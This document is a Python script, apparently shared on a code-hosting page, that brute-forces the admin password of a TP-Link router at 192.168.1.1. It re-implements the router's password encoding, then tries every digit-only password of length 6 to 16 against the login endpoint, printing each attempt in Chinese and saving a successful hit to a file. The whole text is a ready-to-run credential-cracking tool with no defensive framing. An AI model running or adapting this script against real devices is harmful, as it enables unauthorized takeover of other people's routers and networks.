1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import requests import itertools import time
def time_out(a_func): def clocked(*args, **kwargs): start = time.time() result = a_func(*args, **kwargs) end = time.time() print("程序:" + a_func.__name__," 运行时间:" + str(end - start)) return result return clocked
def security_encode(b): a = 'RDpbLfCPsJZ7fiv' c = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
e = '' g = len(a) h = len(b) k = len(c)
f = g if g > h else h for p in range(f): n = l = 187 if p >= g: n = ord(b[p]) elif p >= h: l = ord(a[p]) else: l = ord(a[p]) n = ord(b[p]) e += c[((l ^ n) % k)]
return e
def login(password): requests.get('http://192.168.1.1', headers={'Content-Type': 'application/json'}) r = requests.post('http://192.168.1.1', json={"method": "do", "login": {"password": security_encode(password)}})
code = r.status_code if code == 200: print('状态码:',code,"密码正确,登陆成功!!!!!!!") else: print('状态码:', code, "密码错误,继续尝试登陆.......") return code
@time_out def num_z_Z_symbol(a=5,count=0): """ 我认为的所有密码: 数字 + 小写字母 + 大写字母 + 符号... :return: """ chars = "0123456789" with open("./tplinkpasswd.txt","a",encoding='utf-8')as f: for i in range(6, 17): for c in itertools.product(chars, repeat=i): count += 1 password = ''.join(c) print('*************** 第 ' + str(count) + ' 组密码 ***************') print(password) if login(password) == 200: print("密码破解成功,程序退出!") print(password) f.write(password+r'\n') f.close() break else: pass
if __name__ == '__main__':
num_z_Z_symbol()
|